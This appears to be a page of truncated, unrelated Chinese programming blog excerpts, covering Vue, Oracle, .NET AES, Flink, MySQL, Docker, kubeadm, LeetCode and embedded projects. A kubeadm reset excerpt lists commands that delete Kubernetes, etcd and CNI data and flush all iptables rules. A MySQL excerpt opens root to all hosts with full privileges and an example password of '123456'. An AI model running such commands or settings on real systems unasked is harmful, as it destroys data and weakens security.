前提在main.js文件中引入i18n import Vue from 'vue' import i18n from '@/locales/index' 在locales下的index.js文件中定义 const i18n = new VueI18n({ locale: lang, // set locale messages // set locale messages }) locale.i18n((key, value) => i18n.t(key, value)) export default i18n 在其他js文件中引入i18n,使用i18n.t调用即可 import i18n from '@/locales/index' export const tableList1 = [ { prop: 'test1', label: i18n.t('message.test1_label') }, { prop: 'test2', label: i18n.t('message.test2_label') } ] 在vue文件可以直接使用,使用this.$t <template> <div> <span slot="label"> <i style="color: red">*</i> {{ $t('message.test3_name') }} </span> <el-form-item :label="

Oracle数据库字符集及修改方式详解

Oracle语言环境的描述包括三部分:language、territory、characterset(语言、地域、字符集),这篇文章主要介绍了Oracle数据库字符集概述及修改方式,需要的朋友可以参考下 1、字符集概述 Oracle语言环境的描述包括三部分:language、territory、characterset(语言、地域、字符集) language:主要指定服务器消息的语言,提示信息显示中文还是英文territory:主要指定服务器的数字和日期的格式characterset:是指字符集,一般国内数据库实际使用的字符集主要是ZHS16GBK、AL32UTF8 只要两个数据库的字符集(characterset)一样,就可以相互导入导出数据 2、查询Oracle字符集 2.1、查询服务端字符集 NLS_NCHAR_CHARACTERSET 为国家字符集,主要是NCHAR、 NVARCHAR2 、NCLOB数据类型使用的字符集,一般是不用这几种数据类型的 1 select * from nls_database_parameters; 2.2、查询客户端字符集 2.2.1、方式一 1 select * from nls_session_parameters; 2.2.2、方式二 1 select userenv('language') from dual; 3、修改Oracle字符集 一般来说,除非万不得已,我们不建议修改oracle数据库server端的字符集如果需要修改字符集,通常需要导出数据库数据,重建数据库,再导入数据库数据的方式来转换也可以通过ALTER DATABASE CHARACTER SET语句修改字符集,但创建数据库后修改字符集是有限制的只有新的字符集是当前字符集的超集时才能修改数据库字符集,例如UTF8是US7ASCII的超集,修改数据库字符集可使用ALTER DATABASE CHARACTER SET UTF8如果想跳过超集的检查,则需要加INTERNAL_USE 关键字 1 ALTER DATABASE CHARACTER SET INTERNAL_USE UTF8; 下面为修改字符集的步骤: 3.1、以sysdba角色连接到本地Oracle数据库 1 sqlplus / as sysdba 3.2、以sysdba角色连接到Oracle数据库实例 1 connect sys as sysdba; 3.3、开启"限制会话"模式以阻止新的会话连接到数据库 1 ALTER SYSTEM ENABLE RESTRICTED SESSION; 3.4、修改数据库字符集为ZHS16GBK 注意:执行该步骤时,需要关闭数据库的其他会话,否则会报错“ORA-12721:当其他会话处于活动状态时,无法执行操作” 1

Net6使用AES加解密

Net6使用AES加解密 一、AES加密(在此类EncryptionUtil中)二、AES解密(在此类EncryptionUtil中)三、结合Filter和Attribute通过AOP实现加解密1.创建加解密接口2.密钥和向量配置类和配置信息3.解密filter4.加密filter5.DynamicSetProperty方法扩展类6.标记加密的属性7.AjaxResponse 四、AOP的使用Swagger请求加解密展示 详解 一、AES加密(在此类EncryptionUtil中) public static string EncryptAES(string plainText, string passPhrase, string iv) { if (plainText == null) { return null; } if (passPhrase == null) { return null; } if (iv == null) { return null; } var plainTextBytes = System.Text.Encoding.UTF8.GetBytes(plainText); var keyBytes = System.Text.Encoding.UTF8.GetBytes(passPhrase); var ivBytes = System.Text.Encoding.UTF8.GetBytes(iv); using (var symmetricKey = Aes.Create()) { symmetricKey.Mode = CipherMode.CBC; symmetricKey.Padding = PaddingMode.PKCS7; using (var encryptor = symmetricKey.CreateEncryptor(keyBytes, ivBytes)) { // 加密后的输出流 using (var memoryStream = new MemoryStream()) { // 将加密后的目标流(encryptStream)与加密转换(encryptTransform)相连接 using (var cryptoStream = new CryptoStream(memoryStream, encryptor, CryptoStreamMode.

大数据flink篇之二-基础实例wordcount

flink既支持批数据处理,也支持流数据处理。flink1.12版本后,批流进行了api统一。开发语言可以选择java和scala,这里选择java。下面以wordcount为例,讲解flink编程的流程。 开发前提: ideamavenjdk 1.8 一、maven依赖 <properties> <flink.version>1.15.0</flink.version> <flink.scala.version>2.12</flink.scala.version> </properties> <dependencies> <dependency> <groupId>org.apache.flink</groupId> <artifactId>flink-java</artifactId> <version>${flink.version}</version> </dependency> <dependency> <groupId>org.apache.flink</groupId> <artifactId>flink-streaming-java</artifactId> <version>${flink.version}</version> </dependency> <dependency> <groupId>org.apache.flink</groupId> <artifactId>flink-clients</artifactId> <version>${flink.version}</version> </dependency> <dependency> <groupId>org.apache.flink</groupId> <artifactId>flink-hadoop-compatibility_${flink.scala.version}</artifactId> <version>${flink.version}</version> </dependency> </dependencies> 二、数据结构 wordcount.txt数据结构: zhangsan,lisi,wangwu ajdhaj,hdgaj,zhangsan lisi,wangwu 三、DataSet API读取离线文件实现wordcount统计 package com.first.example; import org.apache.commons.lang3.StringUtils; import org.apache.flink.api.common.functions.FlatMapFunction; import org.apache.flink.api.java.*; import org.apache.flink.api.java.operators.AggregateOperator; import org.apache.flink.api.java.operators.DataSource; import org.apache.flink.api.java.operators.FilterOperator; import org.apache.flink.api.java.operators.FlatMapOperator; import org.apache.flink.api.java.tuple.Tuple2; import org.apache.flink.shaded.netty4.io.netty.util.internal.StringUtil; import org.apache.flink.util.Collector; /** * @author xxxx * @date 2023-09-26 12:48 */ public class DataSetWordCount { public static void main(String[] args) throws Exception { ExecutionEnvironment env = ExecutionEnvironment.

MySQL 用户权限和远程访问设置

目录 一、用户操作查看当前拥有用户创建用户修改用户密码删除用户给root用户开放外网访问 二、用户权限操作授予权限的原则查看授予用户的权限给用户添加权限回收权限 一、用户操作 先要使用root用户登录MySQL后在执行后面操作 查看当前拥有用户 SELECT host,user,Grant_priv,Super_priv FROM mysql.user; 这里可以看到有两个root用户,但是运行访问host不同,一个host为localhost只能本地访问,一个host为%对所有ip开放访问。 创建用户 # 语法 CREATE USER '用户名'@'host' IDENTIFIED BY '你的密码'; # 例: # 创建test_01用户,赋予所有IP连接权限 # 如果只想给某个IP使用可以写成127.0.0.1,如果想给某个网段使用可以写成192.168.0.%,%代表全部 CREATE USER 'test_01'@'%' IDENTIFIED BY '123456'; 修改用户密码 # MySQL8.0 ALTER USER '用户名'@'host' IDENTIFIED BY '新密码' PASSWORD EXPIRE NEVER; # MySQL8.0之前版本 SET password FOR '用户名'@'host' = password('新密码'); 删除用户 # 语法 DROP USER '用户名'@'host'; # 例: # 删除用户名称为test_01 host为%的用户 DROP USER 'test_01'@'%'; 给root用户开放外网访问 # 创建一个能被全部IP访问的root用户,MySQL相同用户名称但是host不同代表的是两个不同用户 CREATE USER 'root'@'%' IDENTIFIED BY '你的密码'; # 赋予'root'@'%' 用户全部权限,和授权于下一个人用户权限的能力 GRANT ALL PRIVILEGES ON *.

CentOS 安装 Docker

说明:下文的命令使用的是 root 用户登录执行,不是 root 的话所有命令前面都要加 sudo。 本文目录 1. 安装前的操作2. 安装需要的软件包3. 设置 yum 源4. 选择 docker 版本并安装5. 启动 docker 并设置开机自启 1. 安装前的操作 1、查看当前的内核版本 输入以下命令: uname -r 可以看到,我这里是 3.10,满足条件。 2、使用 root 权限更新 yum 包 生产环境中此步操作需慎重,看自己情况,学习的话随便搞。输入以下命令: yum -y update 注:这个命令不是必须执行的,看个人情况,后面出现不兼容的情况的话就必须 update 了。这个执行中间可能会需要 5 到 10 分钟左右,根据自己的网速快慢来决定执行的快慢,大家只需要耐心等待就好了。 说明: # 升级所有包同时也升级软件和系统内核 yum -y update # 只升级所有包,不升级软件和系统内核 yum -y upgrade 3、卸载旧版本 如果之前安装过 Docker 的话,可以输入以下命令卸载旧版本: yum remove docker docker-common docker-selinux docker-engine 因为我之前没有装过 Docker,所以会出现上图所示的情况。 2. 安装需要的软件包 输入以下命令: # yum-util 提供 yum-config-manager 功能,另两个是 devicemapper 驱动依赖 yum install -y yum-utils device-mapper-persistent-data lvm2 3.

LeetCode——动态规划(三)

刷题顺序及思路来源于代码随想录,网站地址:https://programmercarl.com 目录 494. 目标和 - 力扣(LeetCode) 474. 一和零 - 力扣(LeetCode) 518. 零钱兑换 II - 力扣(LeetCode) 377. 组合总和 Ⅳ - 力扣(LeetCode) 70. 爬楼梯 - 力扣(LeetCode) 494. 目标和 - 力扣(LeetCode) 给你一个非负整数数组 nums 和一个整数 target 。 向数组中的每个整数前添加 '+' 或 '-' ,然后串联起所有整数,可以构造一个 表达式 : 例如,nums = [2, 1] ,可以在 2 之前添加 '+' ,在 1 之前添加 '-' ,然后串联起来得到表达式 "+2-1" 。 返回可以通过上述方法构造的、运算结果等于 target 的不同 表达式 的数目。 输入:nums = [1,1,1,1,1], target = 3 输出:5 解释:一共有 5 种方法让最终目标和为 3 。 -1 + 1 + 1 + 1 + 1 = 3 +1 - 1 + 1 + 1 + 1 = 3 +1 + 1 - 1 + 1 + 1 = 3 +1 + 1 + 1 - 1 + 1 = 3 +1 + 1 + 1 + 1 - 1 = 3 import java.

kubeadm安装k8s失败--重置教程

原文地址:kubeadm安装k8s失败--重置教程 注意:此操作存在危险性,请确认后操作。 必选 重置集群 kubeadm reset -f 删除kubernetes数据目录 sudo rm -rf /etc/kubernetes 删除etcd数据目录 sudo rm -rf /var/lib/etcd 删除cni网络相关配置文件 sudo rm -rf /etc/cni 可选 删除kubelet文件夹 sudo rm -rf /var/lib/kubelet 删除k8s.io命名空间下所有的镜像 nerdctl -n k8s.io rmi -f $(nerdctl -n k8s.io image ls -q) 清空iptables规则 iptables -F && iptables -t nat -F && iptables -t mangle -F && iptables -X 重启服务器 reboot

VS2019,无法安装win10sdk_10.0.19041

在9次尝试后,下载以下文件时出现问题: https://download,visualstudio,microsoft.com/download/pr/5eeaf3c7-015f-442C-8d63-aea17e5e6aef/3a97a2458efd4436fcda1cfde13992a3/windows app certification kit supportedapilist arm-arm en-usms 找了很久才发现只是SDK没安装而已; 解决方法:检查一下原本的win10sdk安装在什么盘(我曾经装过VS2019,但是后来卸载了,win10sdk原本安装在D盘,但是我的电脑没有D盘了,被我合并到其他盘了),重新分一个D盘,解决问题; 怎么检查win10sdk安装位置:直接下载win10sdk,安装,他会提示你缺少D盘(看你以前安装到什么盘,如果能安装成功,那你应该也不会遇上这种问题了…) 下载地址 https://developer.microsoft.com/zh-cn/windows/downloads/sdk-archive/ 我遇到这个问题是因为我原本装过VS2019,安装到了D盘(win10sdk_10.0.19041也是安装在D),因为C盘空间不够我把我的D盘格了,然后和C盘合并成了一个盘,就没有D盘了;再安装VS就一直提示“无法安装win10sdk_10.0.19041”,猜测是软件的注册列表存的还是D盘,但实际没有D盘,所以一直安装不成功; 解决的方法有点粗暴,而且有很多问题没法解释,但是我确实就是这样把这个问题解决掉的…

mybatisplus 用@select注解,对查询结果使用handler处理结果

mybatisplus 用@select注解,对查询结果使用handler处理结果 ChatGPT的回答 要使用MyBatis Plus的@Select注解来执行SQL查询,并且想要查询field_a字段应用xxxHandler,你可以这样编写代码: 首先,确保你的实体类中的 field_a字段已经使用 @TableField 注解标记,并且在配置文件中添加了 typeHandler 属性来指定使用的类型处理器。 然后,在你的 Mapper 接口方法上使用 @Select 注解编写查询SQL,如下所示: import org.apache.ibatis.annotations.Select; import com.baomidou.mybatisplus.core.mapper.BaseMapper; public interface xxxMapper extends BaseMapper<MyEntity> { @Select("SELECT * FROM table_a") @Results({ @Result(column = "field_a", property = "fieldA", typeHandler = xxxHandler.class) }) List<MyEntity> MySelect(); }

【Vue】全家桶介绍

文章目录 概述核心:Vue.Js浏览器开发插件:vue-devtools项目构建工具:vue-cli路由管理器 : vue-Router状态管理模式:vuex网络请求库:AxiosUI框架: iview、vant、elementUI打包工具: webpack来源 概述 Vue全家桶一般来说包括主体Vue.Js、开发插件vue-devtools、项目构建工具vue-cli、路由管理器vue-Router、状态管理模式vuex、网络请求库Axios、ui框架、打包工具webpack,接下来开始一一介绍。 核心:Vue.Js Vue (读音 /vjuː/,类似于 view) 是一套用于构建用户界面的渐进式框架。与其它大型框架不同的是,Vue 被设计为可以自底向上逐层应用。Vue 的核心库只关注视图层,不仅易于上手,还便于与第三方库或既有项目整合。另一方面,当与现代化的工具链以及各种支持类库结合使用时,Vue 也完全能够为复杂的单页应用提供驱动。 详情参阅:vue.js官网 浏览器开发插件:vue-devtools vue-devtools是一款基于chrome游览器的插件,可以用于调试vue应用,也可以用来辅助我们找到各页面对应的Vue.js文件路径,这将极大地提高我们的开发和调试效率。 详情参阅:【Vue】全家桶之vue-devtools 项目构建工具:vue-cli Vue.js+webpack的项目模板。Vue cli提供了强大的功能,用于定制新项目、配置原型、添加插件和检查webpack配置。@vue/cli 3.x版本可以通过vue create命令快速创建一个 新项目的脚手架,不需要像vue 2.x那样借助于webpack来构建项目。 相比scirpt标签引入,vue-cli脚手架具有一下特点: 1)功能丰富 对 Babel、TypeScript、ESLint、PostCSS、PWA、单元测试和 End-to-end 测试提供开箱即用的支持。 2)易于扩展 它的插件系统可以让社区根据常见需求构建和共享可复用的解决方案。 3)无需 Eject Vue CLI 完全是可配置的,无需 eject。这样你的项目就可以长期保持更新了。 4)CLI 之上的图形化界面 通过配套的图形化界面创建、开发和管理你的项目。 5)即刻创建原型 用单个 Vue 文件即刻实践新的灵感。 6)面向未来 为现代浏览器轻松产出原生的 ES2015 代码,或将你的 Vue 组件构建为原生的 Web Components 组件。 npm install -g @vue/cli # OR yarn global add @vue/cli //安装完成后创建一个项目,vue ui为图形化构建,相对简单(推荐) vue create my-project # OR vue ui 详情参阅:【Vue】全家桶之vue-cli

关于解决拯救者Y9000P 2022 安装ubuntu 18.04后出现了无法调节屏幕亮度、无法联网、没有声音的问题

关于解决拯救者Y9000P 2022 安装ubuntu 18.04后出现了无法调节屏幕亮度、无法联网、没有声音的问题 经过我自己不断地下载与删除内核,我最后选择了5.19的内核,这个内核可以兼顾解决上述所有的问题 | 有时更新内核之后就会碰到重启电脑后无法restart,只能先强制电脑关机再启动. 在所有的设置之前,我查到的一个问题是因为 ubuntu 18.04的内核比较老,对于比较新的笔记本,该内核对应笔记本硬件驱动可能存在着问题 | 我直接下载了关于arm64对应的两个header,一个module,一个images部分更新了内核。在双系统登陆界面中选择advanced options里面选择新内核,即可使用。 参考链接 2.删除多余的内核可以参考: 删除内核时,该内核一定不能是自己正在使用的内核(可以用命令查询自己正在使用的内核,然后reboot从ubuntu登陆界面选择 advanced options选择使用其他内核). 参考链接1 参考链接2 声音设置: 1.除了按照参考链接设置之后,可以有声音输出,但是在使用浏览器打开B站后,发现仍有没有声音输出 —— 打开设置 sound 中的 applications 选择 firefox输出声音。 如果想使用耳机的话,可以在pavucontrol设置中的output device里面选择headphones。 参考链接 亮度设置: 下载完brightness Contorller,升级完内核即可以解决问题(出现一个调节亮度的小太阳) 网卡设置: 在ubuntu 中使用的网卡有两种 无线网卡以及有线网卡 有线网卡上可以在ubuntu中直接进行查询,基本上能查询到什么R8825或者R8168之类的就说明没有问题,现在使用的ubuntu内核可以支持有线网卡驱动。 无线网卡 因为在ubuntu的setting里面,有时候会显示No wifi adapter found 即需要我们手动安装wifi驱动(可以在windows中的设备管理器中查到无线网卡的型号) 我一开始是按照这个链接来进行ax211网卡的安装,但是会出现make: *** 没有规则可制作目标“defconfig-iwlwifi-public” 根据参考链接上提供的方法,我仍然解决不了问题。我使用了它提供的设置make menuconfig,但是失效(还是No rules for … ),经过后续的查找,我发现安装backport-iwlwifi的方法未必只有一种,下面报错只是说这种方法会出现问题。 我后续查找到了在微星电脑上安装 backport-iwlwifi 的两种方法之一,第一种方法(博客里面忘了标出第二种方法的位置)可以正常安装,避免了上一个参考链接中需要下载源码进行编译与安装时存在的bug。 参考链接 Warning 虽然我成功升级了内核,但是在安装realsense sdk后出现了问题,具体来说是因为5.19使用的一个库lib6要求的版本在2.34以上,但是18.04中的lic6是2.27版本,我没有尝试继续升级(在官网上下载高版本的lib6),只能接受了这个bug. 2023/9/26 补充: 有些电脑会出现安装驱动之后,重启之后该驱动就消失了,那就只能每次开机之后再重新安装即可

城市生命线解决方案-城市生命线感知与运营平台-旭华智能

城市生命线,如同人体的血管,默默流淌着城市的生命之源。从电力、水务到交通,从网络、通信到燃气,这些关乎城市生存和发展的基础设施网络,是我们必须用心守护的安全线。然而,这些地下管网埋藏方式复杂,监管难度大,如何能给每一条线路,每一座桥梁,每一幢房屋打造专属“身份证”,成为一大难题。但是,旭华智能城市生命线解决方案能够给你答案! 从智能传感到应用平台 一站式解决方案 通过运用智能监测设备,对于燃气管网系列安全监测产品、供水排水安全监测、热力、桥梁、隧道、井盖、综合管廊等城市生命线工程安全监测感知网络覆盖,实现城市安全风险管理技术创新、模式创新、应用创新,实现足不出户,掌握全域地下情况。 提高危险预警防控能力 通过城市生命线解决方案,实现安全感知一张网、风险预警一张图、分析研判一平台、防治指挥一条链、运维保障一盘棋,全方位提高危险预警防控能力,从根本上保障人民生命财产安全。 推动以“治”为主向以“防”为主转变 传统的人工监管,效率低、危险性高,并且只能在出现问题后才能解决。但是,旭华智能采用先进的传感器技术,可对地下管网进行实时监测并且向云端上报设备运行情况,把危险扼杀在摇篮里,助推行业监管-风险预测-综合研判-应急处置工作机制形成。 城市生命线是城市的基石,是智慧创新的焦点。它关乎我们的生活质量,影响着我们的未来发展。因此,我们需要给予城市生命线足够的重视与支持,用心去守护它,让它为我们的城市生活提供更安全、更舒适的保障。让我们共同携手,为构建智慧、安全的城市生命线而努力!

el-upload实现复制粘贴图片

前言: 在之前的项目中,利用`el-upload`实现了上传图片视频的预览。项目上线后,经使用人员反馈,上传图片、视频每次要先保存到本地然后再上传,很是浪费时间,公司客服人员时间又很紧迫(因为要响应下一位客户的咨询),所以想直接复制图片到表单中,实现自动上传。OK,需求就是这么来得,下面是实现过程。 要上传图片,肯定要先拿到图片的信息,比如图片url、base64、大小、名称等等。那复制时怎么拿图片信息呢? 本文中使用了富文本编辑器来实现图片的复制粘贴功能,我们也可以通过监听鼠标的复制粘贴事件来实现。 使用的富文本编辑器:快速开始 | wangEditor 1、安装富文本编辑器 npm install @wangeditor/editor --save npm install @wangeditor/editor-for-vue --save 2、引入组件 import { Editor, Toolbar } from '@wangeditor/editor-for-vue' 3、使用组件 视图: <el-form-item label="上传图片" class="myUpload"> <div slot="label" style="display:block;"> 上传图片 <span style="color:#999999;">(最多10张,单张不能超过10M)</span> </div> <div style="margin:1px 0 10px;border: 1px solid #ccc;display:inline-block;"> /*引用组件*/ <Toolbar :editor="editor" :default-config="toolbarConfig" :mode="mode" style="visibility: hidden;height:0; border-bottom: 1px solid #ccc" /> /*引用组件*/ <Editor id="wangEditor" v-model="html" :default-config="editorConfig" :mode="mode" style="height: 45px; overflow-y: hidden;" @onCreated="onCreated" /> </div> <el-upload :auto-upload="

利用html+css+js完成键盘的还原以及主题切换

写法可能不是最简便的,但是效果是可以实现的,代码如下: HTML部分: <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> <link rel="stylesheet" type="text/css" href="./键盘.css"> </head> <body> <br /> <!-- 键盘盒子部分--> <div class="bigBox"> <!-- 左边部分 --> <div class="big_box_left"> <!-- 顶部第一排盒子 --> <div class="left_box"> <div class="shadow_color">ESC</div> <div class="shadow_color" style="margin-left: 40px;">F1</div> <div class="shadow_color">F2</div> <div class="shadow_color">F3</div> <div class="shadow_color">F4</div> <div class="shadow_color" style="margin-left: 25px;">F5</div> <div class="shadow_color">F6</div> <div class="shadow_color">F7</div> <div class="shadow_color">F8</div> <div class="shadow_color" style="margin-left: 30px;">F9</div> <div class="shadow_color">F10</div> <div class="shadow_color">F11</div> <div class="shadow_color">F12</div> </div> <!

STM32 串口通信USART

USART简介 USART(Universal Synchronous/Asynchronous Receiver/Transmitter)通用同步/异步收发器(UART是异步收发器) USART是STM32内部集成的硬件外设,可根据数据寄存器的一个字节数据自动生成数据帧时序,从TX引脚发送出去,也可自动接收RX引脚的数据帧时序,拼接为一个字节数据,存放在数据寄存器里 自带波特率发生器(相当于分频器),最高达4.5Mbits/s 可配置数据位长度(8/9)、停止位长度(0.5/1/1.5/2) 可选校验位(无校验/奇校验/偶校验) 支持同步模式、硬件流控制(告诉对方是否准备好工作)、DMA、智能卡、IrDA、LIN STM32F103C8T6 USART资源: USART1、 USART2、 USART3。具体IO引脚查看GPIO定义图 发送器控制发送移位寄存器,当有数据进入到发送数据寄存器时,会把数据转移到移位寄存器,同时会给标志位置1,可以告诉是否可以继续写入数据。接收移位寄存器和接收数据寄存器一样的道理。 其中SCLK只支持输出,不支持输入,所以两个USART之间不能实现同步的串口通信,但可以兼容别的协议,例如兼容SPI。也可以做自适应波特率。唤醒单元可以实现对多设备的通信,发送相应的地址时该设备就会工作。 在输入时对于每一位还会进行16次的采样,以确保数据的准确性,同时也会在噪声标志位NE置1。具体原理图见PPT107。 发送器和接收器的波特率由波特率寄存器BRR里的DIV确定 计算公式:波特率 = fPCLK2/1 / (16 * DIV) 当以文本显示时,对应的HEX会转换为相应的字符 在USART时,如果使用字节一个个传送的话会造成一些错误,这时可以把几个字节封装起来发送。这就是数据包 数据包分为这两种,包头包尾相当于一个标志位,当接收到一个特定的字节或字符的时候可以开始接收或者结束,例如然后把他们放到数组。其中数据包接收使用到的是状态机方法接收,当接收的不是指定的字节或者字符为包头时就会一直等待,直到接收到,接收到就会置S=0,进入到收集数据中…流程图可见上述。 #ifndef __SERIAL_H #define __SERIAL_H #include <stdio.h> extern uint8_t Serial_TxPacket[]; extern char Serial_RxPacket[]; void Serial_Init(void); void Serial_SendArry(uint8_t *Array,uint16_t Length); void Serial_SendByte(uint8_t Byte); void Serial_SendString(char*String); void Serial_SendNumber(uint32_t Number,uint8_t Length); void Serial_printf(char*format,...); uint8_t Serial_chetByte(); uint8_t Serial_GetRxFlag(void); uint8_t Serial_GetRxData(void); void Serial_SendPacket(void); #endif #include "stm32f10x.h" // Device header #include <stdio.

python中input()函数的类型与多行输出详解(map()函数)

之前刷算法时一直有一个问题卡了我很久, 就是input()输入问题,我的基础不是很扎实,上网搜了很多,总结了一下input()的用法及扩展,这里就简单给大家讲解一下 1. input()函数的类型及转换 input() 函数赋值后在python中定义的是str类型,可以int(input())转换为int类型,类似的可以转换为float,list等类型 2. input()函数一次读取多个变量 input()一次读取多个变量的话则需要在input()函数后面加split()函数进行输入的分割,split()函数一般默认为按空格分割,也可以自己设置。 3. 将多个变量同时进行类型强制转换(map()函数) 像input().split()这样输出的话, 输入 1,2,3 则输出的是 ['1', '2', '3'],是list类型,但list里面是str类型, 此时可以用map() 函数强制转换类型 map() 函数用来实现多个输入的强制类型转换, map() 函数接收两个参数,一个是强制转换的类型函数,一个是序列。

python--plt绘制多条柱状图

绘制表格(统计.excel)柱状图,每一张表格绘制一张图片 导入需要的包 import pandas as pd import matplotlib.pyplot as plt import numpy as np 读取excel文件 path = r"C:\Users\dell\Desktop\编辑\统计.xlsx" #文件地址 data = pd.read_excel(path, None) # 读取数据,设置None可以生成一个字典,字典中的key值即为sheet名字,若sheet_name='Sheet2'则只读取一个表 画图函数 def f(L1,L2,L3,L4,L5,L6,L7,title,x,name): plt.rcParams['font.sans-serif'] = ['Times New Roman'] # 用来正常显示中文标签,新罗马字体 plt.rcParams["axes.unicode_minus"] = False plt.title(title) #表名 plt.xlabel("Dataset")#x轴名 plt.ylabel(x)#y轴名 labels = ["Nongjing", "Nongzi", "TaoJindi", "CNZJ"]#x轴坐标 x = np.arange(len(labels)) # x轴刻度标签位置 width = 0.1 # 柱子的宽度 #表的效果是分四个数据集,每个数据集上其中方法的准确率 plt.bar(x - 1.5 * width, L1, width, label='Jieba') plt.bar(x - 0.

register和volatile 关键字的作用

在C语言中,register和volatile是两种特殊的变量修饰符,它们在嵌入式编程中经常被使用,而在一般的PC编程中可能不常见。 1、register修饰符: register用于提示编译器,这个变量可能会频繁地使用,将其储存在寄存器中可以更快地访问。然而,实际上是否将其储存在寄存器中是由编译器决定的,因为现代编译器通常已经能够进行高度优化。 示例代码: register int i; for (i=0; i<100; i++) { // do something } 在这个例子中,i被声明为register,意味着它可能会频繁地被访问,因此编译器可能会选择将其储存在寄存器中以提高效率。 2、 volatile修饰符: volatile用于告诉编译器,这个变量可能会被难以预见的外部因素改变,因此每次使用它时,都需要从内存中读取它的实际值,而不是使用保存在寄存器中的拷贝。这在嵌入式编程中尤其重要,因为嵌入式系统的某些输入/输出(I/O)端口可能会被外部硬件随时改变。 示例代码: volatile int input; // Assume that input is connected to a hardware port // and its value could be changed at any time by the hardware. 在这个例子中,input被声明为volatile,意味着它可能会被外部硬件随时改变,因此每次使用它时,都需要从内存中读取它的实际值。 以上是在嵌入式C编程中register和volatile变量修饰符的作用和示例代码。需要注意的是,这两个修饰符的实际效果会因编译器和优化级别的不同而有所差异。

毕业设计 基于51单片机智能停车场管理车位引导系统设计

基于51单片机智能停车场管理车位引导系统设计 0、毕业设计选题原则说明(重点)1、项目简介1.1 系统构成1.2 系统功能 2、部分电路设计2.1 STC89C52单片机核心系统电路设计2.2 LCD1602液晶显示模块电路设计2.3 红外避障模块电路设计 3、部分代码展示3.1 让液晶从某个位置起连续显示一个字符串3.2 串口初始化3.3 定时器初始化 0、毕业设计选题原则说明(重点) 选题之前,同学们要弄明白一件事情,做毕业设计是干什么用的!这里我告诉大家,毕业设计对于你来说,不是让你去搞研究,掌握运用所学知识的,也不是让你去比谁做的毕业设计多么牛逼,多么厉害。说白点,它的作用就是一个,让你顺利毕业,能够拿到学位证,毕业证而已!!!当你明白这一点后,作毕业设计的要求就是在满足老师的要求后,越简单越好,这样不但容易去做,而且你自己也容易去理解,掌握,同样也能花最少的钱!!!满足老师的要求,这个没办法,毕竟他是决定你是否能通过答辩的人。每年都有很多同学找到我的时候,后悔当初为什么要把功能写的那么复杂,后悔没有提前找我咨询一下!所以在这里提醒同学们,提交开题报告之前一定要多想想,咨询下以往的学长学姐,不要自己随便写一堆提交上去!!!大家找不到学长学姐的话,也可以找我咨询,我可以给大家一些建议。点击此处即可咨询 1、项目简介 https://gitee.com/lighter-z/graduation-design 1.1 系统构成 本设计由STC89C52单片机电路+红外对管传感器+LCD1602液晶显示电路+LED指示灯电路+电源电路组成。 1.2 系统功能 1、通过红外对管模块实时检测车位是否占用,车位分为1车位,2车位,3车位。2、液晶实时显示车位是否被占用、车位被占用数、空车位数,红外对管有检测遮挡距离近,表示停有车辆。3、车位处是否停车并有状态指示灯指示。 2、部分电路设计 2.1 STC89C52单片机核心系统电路设计 STC89C52单片机最小系统电路由复位电路、时钟电路和电源电路。拥有这三部分电路后,单片机即可正常工作。 单片机最小系统原理图如下图所示: 2.2 LCD1602液晶显示模块电路设计 LCD显示器分为字段显示和字符显示两种。其中字段显示与LED显示相似,只要送对应的信号到相应的管脚就能显示。字符显示是根据需要显示基本字符。本设计采用的是字符型显示。系统中采用LCD1602作为显示器件输出信息。 系统中采用LCD1602作为显示器件输出信息。在本电路中电位器可以调节液晶显示的对比度即清晰度。 其具体电路原理图如下图所示: 实物图如下图所示: 2.3 红外避障模块电路设计 该红外避障传感器是基于红外对管模块的红外避障传感器。该传感器模块对环境光线适应能力强,其具有一对红外线发射与接收管,发射管发射出一定频率的红外线,当检测方向遇到障碍物(反射面)时,红外线反射回来被接收管接收,经过比较器电路处理之后,绿色指示灯会亮起,同时信号输出接口输出数字信号(一个低电平信号),可通过电位器旋钮调节检测距离,有效距离范围 2~30cm,工作电压为3.3V-5V。该传感器的探测距离可以通过电位器调节、具有干扰小、便于装配、使用方便等特点,可以广泛应用于机器人避障、避障小车、流水线计数及黑白线循迹等众多场合。 其具体电路原理图如下图所示: 3、部分代码展示 3.1 让液晶从某个位置起连续显示一个字符串 void DispStr(uchar x,uchar y,uchar *ptr) { uchar *temp; uchar i,n = 0; temp = ptr; while(*ptr++ != '\0') n++; for (i=0;i<n;i++) { Disp1Char(x++,y,temp[i]); if (x == 0x10) { break; } } } 3.

毕业设计 基于STM32的语音RFID卡停车管理系统

基于STM32的语音IC卡停车管理系统 1、毕业设计选题原则说明(重点)2、项目资料2.1 系统框架2.2 系统功能 3、部分电路设计3.1 STM32F103C8T6单片机最小系统电路设计3.2 按键电路设计3.3 RFID电路设计 4、部分代码展示4.1 OLED IIC引脚初始化4.2 OLED屏幕初始化4.3 RC522初始化 5. 项目编号 1、毕业设计选题原则说明(重点) 选题之前,同学们要弄明白一件事情,做毕业设计是干什么用的!这里我告诉大家,毕业设计对于你来说,不是让你去搞研究,掌握运用所学知识的,也不是让你去比谁做的毕业设计多么牛逼,多么厉害。说白点,它的作用就是一个,让你顺利毕业,能够拿到学位证,毕业证而已!!!当你明白这一点后,作毕业设计的要求就是在满足老师的要求后,越简单越好,这样不但容易去做,而且你自己也容易去理解,掌握,同样也能花最少的钱!!!满足老师的要求,这个没办法,毕竟他是决定你是否能通过答辩的人。每年都有很多同学找到我的时候,后悔当初为什么要把功能写的那么复杂,后悔没有提前找我咨询一下!所以在这里提醒同学们,提交开题报告之前一定要多想想,咨询下以往的学长学姐,不要自己随便写一堆提交上去!!!大家找不到学长学姐的话,也可以找我免费咨询,我可以给大家一些建议。点击此处即可咨询 2、项目资料 https://gitee.com/lighter-z/graduation-design 2.1 系统框架 本设计采用STM32单片机作为主控芯片,由RFID刷卡模块、OLED显示模块、按键电路、语音电路构成。 2.2 系统功能 1.在welcome界面,放置IC卡,此时会开始记录停车时间2.按下KEY1按键,会提示放置IC卡,放置IC卡后,会进入扣费界面(系统会根据程序中设置的单价与停车时间进行计算,之后扣费) 2.1 扣费成功:记录时间清零2.2 扣费失败:语音提示余额不足,此时停车时间继续记录 3.按下KEY0按键,会提示放置IC卡,放置IC卡后,会显示当前余额。 3.1 在此界面按下KEY0,余额每次增加103.2 在此界面按下KEY1,余额每次减10 4.KEY2按键时退出按键 3、部分电路设计 3.1 STM32F103C8T6单片机最小系统电路设计 STM32F103C8T6单片机最小系统电路由复位电路、时钟电路和电源电路。拥有这三部分电路后,单片机即可正常工作。 